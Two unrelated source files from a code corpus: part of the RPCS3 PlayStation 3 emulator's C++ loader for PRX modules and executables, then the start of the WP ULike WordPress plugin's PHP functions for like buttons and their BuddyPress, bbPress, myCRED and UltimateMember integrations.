ppu_patch_variable_refs(vref, vlink.export_addr);
}
//LOG_WARNING(LOADER, "Imported variable '%s' in module '%s' (0x%x)", ppu_get_variable_name(module_name, vnid), module_name, vlink.first);
}
addr += lib.size ? lib.size : sizeof(ppu_prx_module_info);
}
}
std::shared_ptr<lv2_prx> ppu_load_prx(const ppu_prx_object& elf, const std::string& name)
{
if (g_cfg.core.ppu_decoder == ppu_decoder_type::llvm && name == "libfiber.sprx")
{
LOG_FATAL(PPU, "libfiber.sprx is not compatible with PPU LLVM Recompiler. Use PPU Interpreter.");
Emu.Pause();
}
std::vector<std::pair<u32, u32>> segments;
std::vector<std::pair<u32, u32>> sections;
for (const auto& prog : elf.progs)
{
LOG_NOTICE(LOADER, "** Segment: p_type=0x%x, p_vaddr=0x%llx, p_filesz=0x%llx, p_memsz=0x%llx, flags=0x%x", prog.p_type, prog.p_vaddr, prog.p_filesz, prog.p_memsz, prog.p_flags);
switch (const u32 p_type = prog.p_type)
{
case 0x1: // LOAD
{
if (prog.p_memsz)
{
const u32 mem_size = ::narrow<u32>(prog.p_memsz, "p_memsz" HERE);
const u32 file_size = ::narrow<u32>(prog.p_filesz, "p_filesz" HERE);
const u32 init_addr = ::narrow<u32>(prog.p_vaddr, "p_vaddr" HERE);
// Alloc segment memory
const u32 addr = vm::alloc(mem_size, vm::main);
if (!addr)
{
fmt::throw_exception("vm::alloc() failed (size=0x%x)", mem_size);
}
// Copy segment data
std::memcpy(vm::base(addr), prog.bin.data(), file_size);
LOG_WARNING(LOADER, "**** Loaded to 0x%x (size=0x%x)", addr, mem_size);
// Initialize executable code if necessary
if (prog.p_flags & 0x1)
{
ppu_register_range(addr, mem_size);
}
segments.emplace_back(std::make_pair(addr, mem_size));
}
break;
}
case 0x700000a4: break; // Relocations
default: LOG_ERROR(LOADER, "Unknown segment type! 0x%08x", p_type);
}
}
for (const auto& s : elf.shdrs)
{
LOG_NOTICE(LOADER, "** Section: sh_type=0x%x, addr=0x%llx, size=0x%llx, flags=0x%x", s.sh_type, s.sh_addr, s.sh_size, s.sh_flags);
const u32 addr = vm::cast(s.sh_addr);
const u32 size = vm::cast(s.sh_size);
if (s.sh_type == 1 && addr && size) // TODO: some sections with addr=0 are valid
{
for (auto i = 0; i < segments.size(); i++)
{
const u32 saddr = static_cast<u32>(elf.progs[i].p_vaddr);
if (addr >= saddr && addr < saddr + elf.progs[i].p_memsz)
{
// "Relocate" section
sections.emplace_back(std::make_pair(addr - saddr + segments[i].first, size));
break;
}
}
}
}
// Do relocations
for (auto& prog : elf.progs)
{
switch (const u32 p_type = prog.p_type)
{
case 0x700000a4:
{
// Relocation information of the SCE_PPURELA segment
struct ppu_prx_relocation_info
{
be_t<u64> offset;
be_t<u16> unk0;
u8 index_value;
u8 index_addr;
be_t<u32> type;
vm::bptr<void, u64> ptr;
};
for (uint i = 0; i < prog.p_filesz; i += sizeof(ppu_prx_relocation_info))
{
const auto& rel = reinterpret_cast<const ppu_prx_relocation_info&>(prog.bin[i]);
const u32 raddr = vm::cast(segments.at(rel.index_addr).first + rel.offset, HERE);
const u64 rdata = segments.at(rel.index_value).first + rel.ptr.addr();
switch (const u32 type = rel.type)
{
case 1:
{
const u32 value = vm::_ref<u32>(raddr) = static_cast<u32>(rdata);
LOG_TRACE(LOADER, "**** RELOCATION(1): 0x%x <- 0x%08x (0x%llx)", raddr, value, rdata);
break;
}
case 4:
{
const u16 value = vm::_ref<u16>(raddr) = static_cast<u16>(rdata);
LOG_TRACE(LOADER, "**** RELOCATION(4): 0x%x <- 0x%04x (0x%llx)", raddr, value, rdata);
break;
}
case 5:
{
const u16 value = vm::_ref<u16>(raddr) = static_cast<u16>(rdata >> 16);
LOG_TRACE(LOADER, "**** RELOCATION(5): 0x%x <- 0x%04x (0x%llx)", raddr, value, rdata);
break;
}
case 6:
{
const u16 value = vm::_ref<u16>(raddr) = static_cast<u16>(rdata >> 16) + (rdata & 0x8000 ? 1 : 0);
LOG_TRACE(LOADER, "**** RELOCATION(6): 0x%x <- 0x%04x (0x%llx)", raddr, value, rdata);
break;
}
case 10:
{
const u32 value = vm::_ref<ppu_bf_t<be_t<u32>, 6, 24>>(raddr) = static_cast<u32>(rdata - raddr) >> 2;
LOG_WARNING(LOADER, "**** RELOCATION(10): 0x%x <- 0x%06x (0x%llx)", raddr, value, rdata);
break;
}
case 44:
{
const u64 value = vm::_ref<u64>(raddr) = rdata - raddr;
LOG_TRACE(LOADER, "**** RELOCATION(44): 0x%x <- 0x%016llx (0x%llx)", raddr, value, rdata);
break;
}
case 57:
{
const u16 value = vm::_ref<ppu_bf_t<be_t<u16>, 0, 14>>(raddr) = static_cast<u16>(rdata) >> 2;
LOG_WARNING(LOADER, "**** RELOCATION(57): 0x%x <- 0x%04x (0x%llx)", raddr, value, rdata);
break;
}
default: LOG_ERROR(LOADER, "**** RELOCATION(%u): Illegal/Unknown type! (addr=0x%x; 0x%llx)", type, raddr, rdata);
}
}
break;
}
}
}
// Access linkage information object
const auto link = fxm::get_always<ppu_linkage_info>();
// Create new PRX object
auto prx = idm::make_ptr<lv2_obj, lv2_prx>();
if (!elf.progs.empty() && elf.progs[0].p_paddr)
{
struct ppu_prx_library_info
{
be_t<u16> attributes;
be_t<u16> version;
char name[28];
be_t<u32> toc;
be_t<u32> exports_start;
be_t<u32> exports_end;
be_t<u32> imports_start;
be_t<u32> imports_end;
};
// Access library information (TODO)
const auto& lib_info = vm::cptr<ppu_prx_library_info>(vm::cast(segments[0].first + elf.progs[0].p_paddr - elf.progs[0].p_offset, HERE));
const auto& lib_name = std::string(lib_info->name);
LOG_WARNING(LOADER, "Library %s (rtoc=0x%x):", lib_name, lib_info->toc);
prx->specials = ppu_load_exports(link, lib_info->exports_start, lib_info->exports_end);
ppu_load_imports(link, lib_info->imports_start, lib_info->imports_end);
prx->funcs = ppu_analyse(segments, sections, lib_info->toc, 0);
}
else
{
LOG_FATAL(LOADER, "Library %s: PRX library info not found");
}
prx->start.set(prx->specials[0xbc9a0086]);
prx->stop.set(prx->specials[0xab779874]);
prx->exit.set(prx->specials[0x3ab9a95e]);
prx->name = name;
return prx;
}
void ppu_load_exec(const ppu_exec_object& elf)
{
if (g_cfg.core.hook_functions)
{
LOG_TODO(LOADER, "'Hook static functions' option deactivated");
}
// Access linkage information object
const auto link = fxm::get_always<ppu_linkage_info>();
// Segment info
std::vector<std::pair<u32, u32>> segments;
// Section info (optional)
std::vector<std::pair<u32, u32>> sections;
// TLS information
u32 tls_vaddr = 0;
u32 tls_fsize = 0;
u32 tls_vsize = 0;
// Process information
u32 sdk_version = 0x360001;
s32 primary_prio = 0x50;
u32 primary_stacksize = 0x100000;
u32 malloc_pagesize = 0x100000;
// Allocate memory at fixed positions
for (const auto& prog : elf.progs)
{
LOG_NOTICE(LOADER, "** Segment: p_type=0x%x, p_vaddr=0x%llx, p_filesz=0x%llx, p_memsz=0x%llx, flags=0x%x", prog.p_type, prog.p_vaddr, prog.p_filesz, prog.p_memsz, prog.p_flags);
const u32 addr = vm::cast(prog.p_vaddr, HERE);
const u32 size = ::narrow<u32>(prog.p_memsz, "p_memsz" HERE);
if (prog.p_type == 0x1 /* LOAD */ && prog.p_memsz)
{
if (prog.bin.size() > size || prog.bin.size() != prog.p_filesz)
fmt::throw_exception("Invalid binary size (0x%llx, memsz=0x%x)", prog.bin.size(), size);
if (!vm::falloc(addr, size, vm::main))
fmt::throw_exception("vm::falloc() failed (addr=0x%x, memsz=0x%x)", addr, size);
// Copy segment data
std::memcpy(vm::base(addr), prog.bin.data(), prog.bin.size());
// Initialize executable code if necessary
if (prog.p_flags & 0x1)
{
ppu_register_range(addr, size);
}
segments.emplace_back(std::make_pair(addr, size));
}
}
// Load section list, used by the analyser
for (const auto& s : elf.shdrs)
{
LOG_NOTICE(LOADER, "** Section: sh_type=0x%x, addr=0x%llx, size=0x%llx, flags=0x%x", s.sh_type, s.sh_addr, s.sh_size, s.sh_flags);
const u32 addr = vm::cast(s.sh_addr);
const u32 size = vm::cast(s.sh_size);
if (s.sh_type == 1 && addr && size)
{
sections.emplace_back(std::make_pair(addr, size));
}
}
// Initialize HLE modules
ppu_initialize_modules(link);
// Load other programs
for (auto& prog : elf.progs)
{
switch (const u32 p_type = prog.p_type)
{
case 0x00000001: break; // LOAD (already loaded)
case 0x00000007: // TLS
{
tls_vaddr = vm::cast(prog.p_vaddr, HERE);
tls_fsize = ::narrow<u32>(prog.p_filesz, "p_filesz" HERE);
tls_vsize = ::narrow<u32>(prog.p_memsz, "p_memsz" HERE);
break;
}
case 0x60000001: // LOOS+1
{
if (prog.p_filesz)
{
struct process_param_t
{
be_t<u32> size;
be_t<u32> magic;
be_t<u32> version;
be_t<u32> sdk_version;
be_t<s32> primary_prio;
be_t<u32> primary_stacksize;
be_t<u32> malloc_pagesize;
be_t<u32> ppc_seg;
//be_t<u32> crash_dump_param_addr;
};
const auto& info = vm::ps3::_ref<process_param_t>(vm::cast(prog.p_vaddr, HERE));
if (info.size < sizeof(process_param_t))
{
LOG_WARNING(LOADER, "Bad process_param size! [0x%x : 0x%x]", info.size, SIZE_32(process_param_t));
}
if (info.magic != 0x13bcc5f6)
{
LOG_ERROR(LOADER, "Bad process_param magic! [0x%x]", info.magic);
}
else
{
sdk_version = info.sdk_version;
primary_prio = info.primary_prio;
primary_stacksize = info.primary_stacksize;
malloc_pagesize = info.malloc_pagesize;
LOG_NOTICE(LOADER, "*** sdk version: 0x%x", info.sdk_version);
LOG_NOTICE(LOADER, "*** primary prio: %d", info.primary_prio);
LOG_NOTICE(LOADER, "*** primary stacksize: 0x%x", info.primary_stacksize);
LOG_NOTICE(LOADER, "*** malloc pagesize: 0x%x", info.malloc_pagesize);
LOG_NOTICE(LOADER, "*** ppc seg: 0x%x", info.ppc_seg);
//LOG_NOTICE(LOADER, "*** crash dump param addr: 0x%x", info.crash_dump_param_addr);
}
}
break;
}
case 0x60000002: // LOOS+2
{
if (prog.p_filesz)
{
struct ppu_proc_prx_param_t
{
be_t<u32> size;
be_t<u32> magic;
be_t<u32> version;
be_t<u32> unk0;
be_t<u32> libent_start;
be_t<u32> libent_end;
be_t<u32> libstub_start;
be_t<u32> libstub_end;
be_t<u16> ver;
be_t<u16> unk1;
be_t<u32> unk2;
};
const auto& proc_prx_param = vm::_ref<const ppu_proc_prx_param_t>(vm::cast(prog.p_vaddr, HERE));
LOG_NOTICE(LOADER, "* libent_start = *0x%x", proc_prx_param.libent_start);
LOG_NOTICE(LOADER, "* libstub_start = *0x%x", proc_prx_param.libstub_start);
LOG_NOTICE(LOADER, "* unk0 = 0x%x", proc_prx_param.unk0);
LOG_NOTICE(LOADER, "* unk2 = 0x%x", proc_prx_param.unk2);
if (proc_prx_param.magic != 0x1b434cec)
{
fmt::throw_exception("Bad magic! (0x%x)", proc_prx_param.magic);
}
ppu_load_exports(link, proc_prx_param.libent_start, proc_prx_param.libent_end);
ppu_load_imports(link, proc_prx_param.libstub_start, proc_prx_param.libstub_end);
}
break;
}
default:
{
LOG_ERROR(LOADER, "Unknown phdr type (0x%08x)", p_type);
}
}
}
// Initialize process
std::vector<std::shared_ptr<lv2_prx>> loaded_modules;
// Get LLE module list
std::set<std::string> load_libs;
if (g_cfg.core.lib_loading == lib_loading_type::manual || g_cfg.core.lib_loading == lib_loading_type::both)
{
// Load required set of modules
load_libs = g_cfg.core.load_libraries.get_set();
}
else if (g_cfg.core.lib_loading == lib_loading_type::liblv2only)
{
// Load only liblv2.sprx
load_libs.emplace("liblv2.sprx");
}
if (g_cfg.core.lib_loading == lib_loading_type::automatic || g_cfg.core.lib_loading == lib_loading_type::both)
{
// Load recommended set of modules: Module name -> SPRX
std::unordered_multimap<std::string, std::string> sprx_map
{
{ "cellAdec", "libadec.sprx" }, // cellSpurs|cell_libac3dec|cellAtrac3dec|cellAtracXdec|cellCelpDec|cellDTSdec|cellM2AACdec|cellM2BCdec|cellM4AacDec|cellMP3dec|cellTRHDdec|cellWMAdec|cellDTSLBRdec|cellDDPdec|cellM4AacDec2ch|cellDTSHDdec|cellMPL1dec|cellMP3Sdec|cellM4AacDec2chmod|cellCelp8Dec|cellWMAPROdec|cellWMALSLdec|cellDTSHDCOREdec|cellAtrac3multidec
{ "cellAdec", "libsre.sprx" },
{ "cellAdec", "libac3dec.sprx" },
{ "cellAdec", "libat3dec.sprx" },
{ "cellAdec", "libat3multidec.sprx" },
{ "cellAdec", "libatxdec.sprx" },
{ "cellAdec", "libcelp8dec.sprx" },
{ "cellAdec", "libcelpdec.sprx" },
{ "cellAdec", "libddpdec.sprx" },
{ "cellAdec", "libm2bcdec.sprx" },
{ "cellAdec", "libm4aacdec.sprx" },
{ "cellAdec", "libm4aacdec2ch.sprx" },
{ "cellAdec", "libmp3dec.sprx" },
{ "cellAdec", "libmpl1dec.sprx" },
{ "cellAdec", "libwmadec.sprx" },
{ "cellAtrac", "libatrac3plus.sprx" },
{ "cellAtrac", "cellAdec" },
{ "cellAtracMulti", "libatrac3multi.sprx" },
{ "cellAtracMulti", "cellAdec" },
{ "cellCelp8Enc", "libcelp8enc.sprx" },
{ "cellCelp8Enc", "libsre.sprx" },
{ "cellCelpEnc", "libcelpenc.sprx" },
{ "cellCelpEnc", "libsre.sprx" },
{ "cellDmux", "libdmux.sprx" },
{ "cellDmux", "libdmuxpamf.sprx" },
{ "cellDmux", "libsre.sprx" },
{ "cellFiber", "libfiber.sprx" },
{ "cellFont", "libfont.sprx" },
{ "cellFontFT", "libfontFT.sprx" },
{ "cellFontFT", "libfreetype.sprx" },
{ "cellGifDec", "libgifdec.sprx" },
{ "cellGifDec", "libsre.sprx" },
{ "cellJpgDec", "libjpgdec.sprx" },
{ "cellJpgDec", "libsre.sprx" },
{ "cellJpgEnc", "libjpgenc.sprx" },
{ "cellJpgEnc", "libsre.sprx" },
{ "cellKey2char", "libkey2char.sprx" },
{ "cellL10n", "libl10n.sprx" },
{ "cellM4hdEnc", "libm4hdenc.sprx" },
{ "cellM4hdEnc", "libsre.sprx" },
{ "cellPamf", "libpamf.sprx" },
{ "cellPngDec", "libpngdec.sprx" },
{ "cellPngDec", "libsre.sprx" },
{ "cellPngEnc", "libpngenc.sprx" },
{ "cellPngEnc", "libsre.sprx" },
{ "cellResc", "libresc.sprx" },
{ "cellRtc", "librtc.sprx" },
{ "cellSsl", "libssl.sprx" },
{ "cellSsl", "librtc.sprx" },
{ "cellHttp", "libhttp.sprx" },
{ "cellHttp", "cellSsl" },
{ "cellHttpUtil", "libhttp.sprx" },
{ "cellHttpUtil", "cellSsl" },
{ "cellSail", "libsail.sprx" },
{ "cellSail", "libsre.sprx" },
{ "cellSail", "libmp4.sprx" },
{ "cellSail", "libpamf.sprx" },
{ "cellSail", "libdmux.sprx" },
{ "cellSail", "libdmuxpamf.sprx" },
{ "cellSail", "libapostsrc_mini.sprx" },
{ "cellSail", "libsail_avi.sprx" },
{ "cellSail", "libvpost.sprx" },
{ "cellSail", "cellAdec" },
{ "cellSpursJq", "libspurs_jq.sprx" },
{ "cellSpursJq", "libsre.sprx" },
{ "cellSync", "libsre.sprx" },
{ "cellSheap", "libsre.sprx" },
{ "cellOvis", "libsre.sprx" },
{ "cellSpurs", "libsre.sprx" },
{ "cellDaisy", "libsre.sprx" },
{ "cellSpudll", "libsre.sprx" },
{ "cellSync2", "libsync2.sprx" },
{ "cellSync2", "libsre.sprx" },
{ "cellVpost", "libvpost.sprx" },
{ "cellVpost", "libsre.sprx" },
{ "sys_fs", "libfs.sprx" },
};
// Expand dependencies
for (bool repeat = true; repeat;)
{
repeat = false;
for (auto it = sprx_map.begin(), end = sprx_map.end(); it != end; ++it)
{
auto range = sprx_map.equal_range(it->second);
if (range.first != range.second)
{
decltype(sprx_map) add;
for (; range.first != range.second; ++range.first)
{
add.emplace(it->first, range.first->second);
}
sprx_map.erase(it);
sprx_map.insert(add.begin(), add.end());
repeat = true;
break;
}
}
}
// TODO: recursively scan all SPRX files in /app_home/ for imports
for (const auto& pair : link->modules)
{
if (!pair.second.imported)
{
continue;
}
for (auto range = sprx_map.equal_range(pair.first); range.first != range.second; ++range.first)
{
load_libs.emplace(range.first->second);
}
}
}
if (!load_libs.empty())
{
const std::string lle_dir = vfs::get("/dev_flash/sys/external/");
if (!fs::is_dir(lle_dir))
{
LOG_ERROR(GENERAL, "/dev_flash/sys/external/ directory does not exist!"
"\nYou should install the PS3 Firmware (Menu: Tools -> Install Firmware)."
"\nVisit https://rpcs3.net/ for Quickstart Guide and more information.");
}
for (const auto& name : load_libs)
{
const ppu_prx_object obj = decrypt_self(fs::file(lle_dir + name));
if (obj == elf_error::ok)
{
LOG_WARNING(LOADER, "Loading library: %s", name);
auto prx = ppu_load_prx(obj, name);
if (prx->funcs.empty())
{
LOG_FATAL(LOADER, "Module %s has no functions!", name);
}
else
{
// TODO: fix arguments
ppu_validate(lle_dir + name, prx->funcs, prx->funcs[0].addr);
}
loaded_modules.emplace_back(std::move(prx));
}
else
{
fmt::throw_exception("Failed to load /dev_flash/sys/external/%s: %s", name, obj.get_error());
}
}
}
{
// Analyse executable
std::vector<ppu_function> main_funcs = ppu_analyse(segments, sections, 0, elf.header.e_entry);
ppu_validate(vfs::get(Emu.GetPath()), main_funcs, 0);
// Share function list
fxm::make<std::vector<ppu_function>>(std::move(main_funcs));
}
// Set SDK version
g_ps3_sdk_version = sdk_version;
// Initialize process arguments
std::initializer_list<std::string> args = { Emu.GetPath()/*, "-emu"s*/ };
auto argv = vm::ptr<u64>::make(vm::alloc(SIZE_32(u64) * ::size32(args), vm::main));
auto envp = vm::ptr<u64>::make(vm::alloc(::align(SIZE_32(u64), 0x10), vm::main));
*envp = 0;
for (const auto& arg : args)
{
const u32 arg_size = ::align(::size32(arg) + 1, 0x10);
const u32 arg_addr = vm::alloc(arg_size, vm::main);
std::memcpy(vm::base(arg_addr), arg.data(), arg_size);
*argv++ = arg_addr;
}
argv -= args.size();
// Initialize main thread
auto ppu = idm::make_ptr<ppu_thread>("main_thread", primary_prio, primary_stacksize);
ppu->cmd_push({ppu_cmd::initialize, 0});
// TODO: adjust for liblv2 loading option
u32 entry = static_cast<u32>(elf.header.e_entry);
if (g_cfg.core.lib_loading != lib_loading_type::liblv2only)
{
// Set TLS args, call sys_initialize_tls
ppu->cmd_list
({
{ ppu_cmd::set_args, 4 }, u64{ppu->id}, u64{tls_vaddr}, u64{tls_fsize}, u64{tls_vsize},
{ ppu_cmd::hle_call, FIND_FUNC(sys_initialize_tls) },
});
}
else
{
// Run liblv2.sprx entry point (TODO)
entry = loaded_modules[0]->start.addr();
loaded_modules.clear();
}
// Run start functions
for (const auto& prx : loaded_modules)
{
if (!prx->start)
{
continue;
}
// Reset arguments, run module entry point function
ppu->cmd_list
({
{ ppu_cmd::set_args, 2 }, u64{0}, u64{0},
{ ppu_cmd::lle_call, prx->start.addr() },
});
}
// Set command line arguments, run entry function
ppu->cmd_list
({
{ ppu_cmd::set_args, 8 }, u64{args.size()}, u64{argv.addr()}, u64{envp.addr()}, u64{0}, u64{ppu->id}, u64{tls_vaddr}, u64{tls_fsize}, u64{tls_vsize},
{ ppu_cmd::set_gpr, 11 }, u64{elf.header.e_entry},
{ ppu_cmd::set_gpr, 12 }, u64{malloc_pagesize},
{ ppu_cmd::lle_call, entry },
});
// Set actual memory protection (experimental)
for (const auto& prog : elf.progs)
{
const u32 addr = static_cast<u32>(prog.p_vaddr);
const u32 size = static_cast<u32>(prog.p_memsz);
if (prog.p_type == 0x1 /* LOAD */ && prog.p_memsz && (prog.p_flags & 0x2) == 0 /* W */)
{
// Set memory protection to read-only when necessary
verify(HERE), vm::page_protect(addr, ::align(size, 0x1000), 0, 0, vm::page_writable);
}
}
}
|
rcaridade145/rpcs3
|
rpcs3/Emu/Cell/PPUModule.cpp
|
C++
|
gpl-2.0
| 36,936
|
<?php
/*******************************************************
Posts Likes Functions
*******************************************************/
/**
* Create ShortCode: [wp_ulike]
*
* @author Alimir
* @since 1.4
* @return wp_ulike button
*/
add_shortcode( 'wp_ulike', 'wp_ulike_shortcode' );
function wp_ulike_shortcode(){
return wp_ulike('put');
}
/**
* Auto insert wp_ulike function in the posts/pages content
*
* @author Alimir
* @param String $content
* @since 1.0
* @updated 1.9
* @return filter on "the_content"
*/
if (wp_ulike_get_setting( 'wp_ulike_posts', 'auto_display' ) == '1') {
function wp_ulike_put_posts($content) {
//auto display position
$position = wp_ulike_get_setting( 'wp_ulike_posts', 'auto_display_position');
$button = '';
//add wp_ulike function
if( !is_feed() && wp_ulike_post_auto_display_filters()){
$button = wp_ulike('put');
}
//return by position
if($position=='bottom')
return $content . $button;
else if($position=='top')
return $button . $content;
else if($position=='top_bottom')
return $button . $content . $button;
else
return $content . $button;
}
add_filter('the_content', 'wp_ulike_put_posts');
}
/**
* Auto display filtering on posts/pages content
*
* @author Alimir
* @since 1.9
* @return boolean
*/
function wp_ulike_post_auto_display_filters(){
$filter = wp_ulike_get_setting( 'wp_ulike_posts', 'auto_display_filter');
if(is_home() && $filter['home'] == '1')
return 0;
else if(is_single() && $filter['single'] == '1')
return 0;
else if(is_page() && $filter['page'] == '1')
return 0;
else if(is_archive() && $filter['archive'] == '1')
return 0;
else if(is_category() && $filter['category'] == '1')
return 0;
else if( is_search() && $filter['search'] == '1')
return 0;
else if(is_tag() && $filter['tag'] == '1')
return 0;
else if(is_author() && $filter['author'] == '1')
return 0;
else
return 1;
}
/**
* Get The Post like number
*
* @author Alimir
* @param Integer $postID
* @since 1.7
* @return String
*/
function wp_ulike_get_post_likes($postID){
$val = get_post_meta($postID, '_liked', true);
return wp_ulike_format_number($val);
}
/*******************************************************
Comments Likes Functions
*******************************************************/
/**
* Auto insert wp_ulike_comments in the comments content
*
* @author Alimir
* @param String $content
* @since 1.6
* @updated 1.9
* @return filter on "comment_text"
*/
if (wp_ulike_get_setting( 'wp_ulike_comments', 'auto_display' ) == '1' && !is_admin()) {
function wp_ulike_put_comments($content) {
//auto display position
$position = wp_ulike_get_setting( 'wp_ulike_comments', 'auto_display_position');
//add wp_ulike_comments function
$button = wp_ulike_comments('put');
//return by position
if($position=='bottom')
return $content . $button;
else if($position=='top')
return $button . $content;
else if($position=='top_bottom')
return $button . $content . $button;
else
return $content . $button;
}
add_filter('comment_text', 'wp_ulike_put_comments');
}
/*******************************************************
BuddyPress Likes Functions
*******************************************************/
/**
* Auto insert wp_ulike_buddypress in the comments content
*
* @author Alimir
* @param String $content
* @since 1.7
* @updated 2.1
* @return filter on "bp_get_activity_action"
*/
if (wp_ulike_get_setting( 'wp_ulike_buddypress', 'auto_display' ) == '1') {
function wp_ulike_put_buddypress() {
echo wp_ulike_buddypress('put');
}
if (wp_ulike_get_setting( 'wp_ulike_buddypress', 'auto_display_position' ) == 'meta')
add_action( 'bp_activity_entry_meta', 'wp_ulike_put_buddypress' );
else
add_action( 'bp_activity_entry_content', 'wp_ulike_put_buddypress' );
}
/**
* Register "WP ULike Activity" action
*
* @author Alimir
* @since 1.7
* @return Add action on "bp_register_activity_actions"
*/
add_action( 'bp_register_activity_actions', 'wp_ulike_register_activity_actions' );
function wp_ulike_register_activity_actions() {
global $bp;
bp_activity_set_action(
$bp->activity->id,
'wp_like_group',
__( 'WP ULike Activity', 'alimir' )
);
}
/**
* Add new buddypress activities on each like. (Post/Comments)
*
* @author Alimir
* @param Integer $user_ID (User ID)
* @param Integer $cp_ID (Post/Comment ID)
* @param String $type (Simple Key for separate posts by comments)
* @since 1.6
* @updated 2.0
* @return Void
*/
function wp_ulike_bp_activity_add($user_ID,$cp_ID,$type){
if (function_exists('bp_is_active') && wp_ulike_get_setting( 'wp_ulike_buddypress', 'new_likes_activity' ) == '1') {
// Replace the post variables
$post_template = wp_ulike_get_setting( 'wp_ulike_buddypress', 'bp_post_activity_add_header' );
if($post_template == '')
$post_template = '<strong>%POST_LIKER%</strong> liked <a href="%POST_PERMALINK%" title="%POST_TITLE%">%POST_TITLE%</a>. (So far, This post has <span class="badge">%POST_COUNT%</span> likes)';
if (strpos($post_template, '%POST_LIKER%') !== false) {
$POST_LIKER = bp_core_get_userlink($user_ID);
$post_template = str_replace("%POST_LIKER%", $POST_LIKER, $post_template);
}
if (strpos($post_template, '%POST_PERMALINK%') !== false) {
$POST_PERMALINK = get_permalink($cp_ID);
$post_template = str_replace("%POST_PERMALINK%", $POST_PERMALINK, $post_template);
}
if (strpos($post_template, '%POST_COUNT%') !== false) {
$POST_COUNT = get_post_meta($cp_ID, '_liked', true);
$post_template = str_replace("%POST_COUNT%", $POST_COUNT, $post_template);
}
if (strpos($post_template, '%POST_TITLE%') !== false) {
$POST_TITLE = get_the_title($cp_ID);
$post_template = str_replace("%POST_TITLE%", $POST_TITLE, $post_template);
}
// Replace the comment variables
$comment_template = wp_ulike_get_setting( 'wp_ulike_buddypress', 'bp_comment_activity_add_header' );
if($comment_template == '')
$comment_template = '<strong>%COMMENT_LIKER%</strong> liked <strong>%COMMENT_AUTHOR%</strong> comment. (So far, %COMMENT_AUTHOR% has <span class="badge">%COMMENT_COUNT%</span> likes for this comment)';
if (strpos($comment_template, '%COMMENT_LIKER%') !== false) {
$COMMENT_LIKER = bp_core_get_userlink($user_ID);
$comment_template = str_replace("%COMMENT_LIKER%", $COMMENT_LIKER, $comment_template);
}
if (strpos($comment_template, '%COMMENT_AUTHOR%') !== false) {
$COMMENT_AUTHOR = get_comment_author($cp_ID);
$comment_template = str_replace("%COMMENT_AUTHOR%", $COMMENT_AUTHOR, $comment_template);
}
if (strpos($comment_template, '%COMMENT_COUNT%') !== false) {
$COMMENT_COUNT = get_comment_meta($cp_ID, '_commentliked', true);
$comment_template = str_replace("%COMMENT_COUNT%", $COMMENT_COUNT, $comment_template);
}
//create bp_activity_add
if($type=='_commentliked'){
bp_activity_add( array(
'user_id' => $user_ID,
'action' => $comment_template,
'component' => 'activity',
'type' => 'wp_like_group',
'item_id' => $cp_ID
));
}
else if($type=='_liked'){
bp_activity_add( array(
'user_id' => $user_ID,
'action' => $post_template,
'component' => 'activity',
'type' => 'wp_like_group',
'item_id' => $cp_ID
));
}
}
else{
return '';
}
}
/*******************************************************
bbPress Likes Functions
*******************************************************/
/**
* Auto insert wp_ulike_bbpress in the topcis content
*
* @author Alimir
* @param String $content
* @since 2.2
* @return filter on bbpPress hooks
*/
if (wp_ulike_get_setting( 'wp_ulike_bbpress', 'auto_display' ) == '1') {
function wp_ulike_put_bbpress() {
echo wp_ulike_bbpress('put');
}
if (wp_ulike_get_setting( 'wp_ulike_bbpress', 'auto_display_position' ) == 'top')
add_action( 'bbp_theme_before_reply_content', 'wp_ulike_put_bbpress' );
else
add_action( 'bbp_theme_after_reply_content', 'wp_ulike_put_bbpress' );
}
/*******************************************************
myCRED Points Functions
*******************************************************/
/**
* MyCred Hooks
*
* @author Gabriel Lemarie & Alimir
* @since 2.3
*/
if ( defined( 'myCRED_VERSION' ) ) {
include( plugin_dir_path(__FILE__) . 'classes/class-mycred.php');
/**
* Register Hooks
*
* @since 2.3
*/
add_filter( 'mycred_setup_hooks', 'wp_ulike_register_myCRED_hook' );
function wp_ulike_register_myCRED_hook( $installed ) {
$installed['wp_ulike'] = array(
'title' => __( 'WP ULike', 'alimir' ),
'description' => __( 'This hook award / deducts points from users who Like/Unlike any content of WordPress, bbPress, BuddyPress & ...', 'alimir' ),
'callback' => array( 'wp_ulike_myCRED' )
);
return $installed;
}
add_filter( 'mycred_all_references', 'wp_ulike_myCRED_references' );
function wp_ulike_myCRED_references( $hooks ) {
$hooks['wp_add_like'] = __( 'Liking Content', 'alimir' );
$hooks['wp_get_like'] = __( 'Liked Content', 'alimir' );
$hooks['wp_add_unlike'] = __( 'Unliking Content', 'alimir' );
$hooks['wp_get_unlike'] = __( 'Unliked Content', 'alimir' );
return $hooks;
}
}
/*******************************************************
UltimateMember Functions
*******************************************************/
if ( defined( 'ultimatemember_version' ) ) {
/**
* Add custom tabs in the UltimateMember profiles.
*
* @author Alimir
* @since 2.3
* @return Array
*/
add_filter('um_profile_tabs', 'wp_ulike_add_custom_profile_tab', 1000 );
function wp_ulike_add_custom_profile_tab( $tabs ) {
$tabs['wp-ulike-posts'] = array(
'name' => __('Recent Posts Liked','alimir'),
'icon' => 'um-faicon-thumbs-up',
);
$tabs['wp-ulike-comments'] = array(
'name' => __('Recent Comments Liked','alimir'),
'icon' => 'um-faicon-thumbs-o-up',
);
return $tabs;
}
/**
* Add content to the wp-ulike-posts tab
*
* @author Alimir
* @since 2.3
* @return Void
*/
add_action('um_profile_content_wp-ulike-posts_default', 'wp_ulike_posts_um_profile_content');
function wp_ulike_posts_um_profile_content( $args ) {
global $wp_ulike_class,$ultimatemember;
$args = array(
"user_id" => um_profile_id(), //User ID
"col" => 'post_id', //Table Column (post_id,comment_id,activity_id,topic_id)
"table" => 'ulike', //Table Name
"limit" => 10, //limit Number
);
$user_logs = $wp_ulike_class->get_current_user_likes($args);
if($user_logs != null){
echo '<div class="um-profile-note"><span>'. __('Recent Posts Liked','alimir').'</span></div>';
foreach ($user_logs as $user_log) {
$get_post = get_post(stripslashes($user_log->post_id));
$get_date = $user_log->date_time;
echo '<div class="um-item">';
echo '<div class="um-item-link">
<i class="um-icon-ios-paper"></i>
<a href="'.get_permalink($get_post->ID).'">'.$get_post->post_title.'</a>
</div>';
echo '<div class="um-item-meta">
<span>'.wp_ulike_date_i18n($get_date).'</span>
<span class="badge"><i class="um-faicon-thumbs-o-up"></i> '.get_post_meta( $get_post->ID, '_liked', true ).'</span>
</div>';
echo '</div>';
}
} else echo '<div style="display: block;" class="um-profile-note"><i class="um-faicon-frown-o"></i><span>'. __('This user has not made any likes.','alimir').'</span></div>';
}
/**
* Add content to the wp-ulike-comments tab
